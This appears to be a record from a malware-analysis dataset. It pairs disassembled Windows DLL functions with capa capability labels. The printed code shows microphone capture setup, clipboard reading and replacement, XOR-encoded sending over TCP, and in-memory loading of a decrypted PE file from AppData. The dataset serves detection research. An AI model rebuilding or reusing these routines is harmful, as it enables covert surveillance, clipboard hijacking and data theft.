joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100015a0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ResumeThread
mov ebx, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x2c], eax
call esi
push eax
call edi
push str.waveInOpen
push str.WINMM.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.waveInGetNumDevs
push str.WINMM.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.waveInPrepareHeader
push str.WINMM.dll
mov ebp, eax
call esi
push eax
call edi
push str.waveInAddBuffer
push str.WINMM.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.waveInStart
push str.WINMM.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov dword [esp + 0x28], eax
call ebp
test eax, eax
jne 0x10001648
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 4
push ebx
push 0x10001700
push 0
push 0
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
push 0x20000
push 0
lea edx, [ebx + 0x46]
push ecx
lea edi, [ebx + 0x18]
push edx
push 0xffff
push edi
mov dword [ebx + 0x2c], eax
call dword [esp + 0x30]
test eax, eax
je 0x10001693
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret
lea esi, [ebx + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [ebx + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [edi]
push eax
push ecx
call dword [esp + 0x28]
add esi, 4
dec ebp
jne 0x1000169b
mov edx, dword [ebx + 0x1c]
mov ecx, dword [edi]
push 0x20
mov eax, dword [ebx + edx*4 + 0x30]
push eax
push ecx
call dword [esp + 0x2c]
mov edx, dword [ebx + 0x2c]
push edx
call dword [esp + 0x28]
mov eax, dword [edi]
push eax
call dword [esp + 0x2c]
mov al, 1
pop edi
pop esi
mov byte [ebx + 0x44], al
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x10001f80
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x10097c38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.100109b0
lea ecx, [esp + 0x18]
push 1
push ecx
mov ecx, esi
mov dword [esp + 0x18], 0
mov dword [esi], 0x100b7778
mov dword [esi + 0x114], 0
mov byte [esp + 0x20], 0x74
call fcn.10010b00
mov ecx, esi
call fcn.10010b70
push 0
push 0
push esi
push 0x10002060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10001ff8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x100025b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x34
push ebp
mov ebp, ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10002640
push ebx
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
jne 0x1000261c
push esi
mov ecx, 0xc
mov esi, 0x100fa22c
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push eax
mov ecx, ebp
call fcn.10010b00
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
pop ebp
add esp, 0x34
ret
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, ebp
call fcn.10010b00
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
pop ebp
add esp, 0x34
ret

Function at 0x100026b0
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000275f
push ebx
push ebp
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [esp + 0x14], eax
call ebp
test eax, eax
je 0x1000274a
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
not ecx
dec ecx
cmp ecx, eax
jne 0x1000274a
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x1c]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000274a
push ebx
call ebp
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10002770
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000281e
push ebx
push ebp
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [esp + 0x14], eax
call ebp
test eax, eax
je 0x10002809
mov ecx, dword [esp + 0x18]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10002809
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x1c]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10002809
push ebx
call ebp
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10002960
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret

Function at 0x10002980
Capabilities:
Delete file

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.10002960
add esp, 4
test al, al
push esi
je 0x100029b1
call dword [sym.imp.MSVCRT.dll_remove]
add esp, 4
test eax, eax
je 0x100029bf
push esi
push 0x100fa288
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret
push 0x100fa278
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
pop esi
ret

Function at 0x100048b0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10097c9a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10001b80
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a0], 0
call fcn.10001b80
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a0], 1
call fcn.10001b80
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a0], 2
call fcn.10001b80
lea eax, [esp + 8]
mov dword [esi], 0x100b77d8
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x61
mov byte [esp + 5], 0x6d
mov dx, word [esp + 4]
lea ecx, [esi + 0xb4]
mov dword [esi + 0xac], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0xb7], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret
Function at 0x10004a60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.10004f20
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb7], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10004aa1
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10004abc
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004b01
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0xa8]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10004b62
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0xa8]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10004bd0
push 0
push 0
mov byte [esi + 0xb7], 1
mov dword [esi + 0xb0], 0
call fcn.1002bdb0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x10004ba0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10004bc0
mov dl, byte [ecx + eax]
add dl, 4
xor dl, 3
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10004baf
pop esi
ret

Function at 0x10005130
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10005150
mov dl, byte [ecx + eax]
xor dl, 3
sub dl, 4
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x1000513f
pop esi
ret
Function at 0x10005160
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.10005130
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x100051d6
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100051b5
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10005192
cmp dword [esp + 0x1c], 0xf
je 0x1000520c
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x1000518a
test ebx, ebx
jle 0x10005200
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100051f7
inc esi
cmp esi, 0xf
jl 0x100051dc
cmp esi, 0xf
je 0x1000520c
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x1000520f
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x100069f0
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x10006a08
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x10006a21
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x10006a58
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x10006a58
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.10006b40
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x10006ae1
push eax
push ebx
call fcn.10006cd0
add esp, 8
push ebx
call fcn.10006d50
add esp, 4
test eax, eax
je 0x10006b11
push ebx
call fcn.10006c10
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10006b29
add eax, ebp
test eax, eax
je 0x10006b11
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x10006b22
push ebx
call fcn.10006f00
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x10006b40
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10006c01
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x10006bab
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x10006bdf
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x10006bdf
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x10006b6e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10006c10
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x10006cc9
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10006c67
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10006caf
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + 0x100fa5ec]
je 0x10006c81
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10006c9c
test al, 0x40
je 0x10006c93
mov ecx, dword [ebx + 0x20]
jmp 0x10006c9a
test al, 0x80
je 0x10006caf
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x10006caf
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10006c34
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10007200
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0x5ab
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 0x3d
test esi, esi
jbe 0x1000722d
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x10007221
pop esi
ret
Function at 0x100074f0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
lea esi, [eax + 4]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
inc edi
je 0x100076d8
push ebp
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, edi
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push 0
push 0x1a
push eax
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebp
je 0x100076cc
push 0
push 0x80
push 3
push 0
push 0
lea ecx, [esp + 0x20]
push bind
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebx + 0x230], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebx + 0x238], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x238]
lea edx, [ebx + 0x23c]
push 0
push edx
mov edx, dword [ebx + 0x230]
push ecx
push eax
push edx
mov dword [ebx + 0x234], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebx + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x238]
mov edx, dword [ebx + 0x234]
push 0x400
push ecx
push edx
call fcn.10007200
mov eax, dword [ebx + 0x234]
push eax
call fcn.100069f0
add esp, 0x10
mov dword [0x1012b06c], eax
mov ecx, dword [ebx + 0x234]
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1012b06c]
test eax, eax
je 0x100076cc
push str.Main
push eax
call fcn.10006e70
mov esi, eax
add esp, 8
test esi, esi
je 0x100076b1
push 0xac
mov ecx, ebx
call fcn.10009690
mov edx, dword [esp + 0x114]
mov eax, dword [0x100faca0]
push edx
push eax
push 0x1012b958
call esi
add esp, 0xc
mov ecx, dword [0x1012b06c]
push ecx
call fcn.10006f00
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
push 0xaa
mov ecx, ebx
call fcn.10009690
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
Function at 0x100076f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x11c
push ebx
push ebp
mov ebp, dword [esp + 0x128]
push esi
push edi
mov ebx, ecx
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
push 0
lea edx, [esp + 0x2c]
push 0x1a
push edx
push 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x3c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push 0
mov esi, eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x134]
lea edx, [esp + 0x14]
push 0
add eax, 0xfffffff8
push edx
add ebp, 8
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1d], ecx
add edx, edi
push 9
push eax
mov ecx, ebx
mov byte [esp + 0x24], 0x70
mov dword [esp + 0x29], edx
call fcn.10010b00
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 8
Function at 0x10007850
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
xor eax, eax
push ebx
mov dword [esp + 4], eax
push esi
mov ebx, ecx
mov dword [esp + 0xc], eax
push edi
push eax
lea ecx, [esp + 0x1c]
push 0x1a
push ecx
push eax
mov byte [esp + 0x24], al
mov byte [esp + 0x1c], 0x70
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, 0x100fa614
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x2c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x10007916
mov dword [ebx + 0x228], 0
pop edi
mov dword [ebx + 0x22c], 0
pop esi
pop ebx
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
push 9
push ecx
mov ecx, ebx
call fcn.10010b00
pop edi
pop esi
pop ebx
add esp, 0x110
ret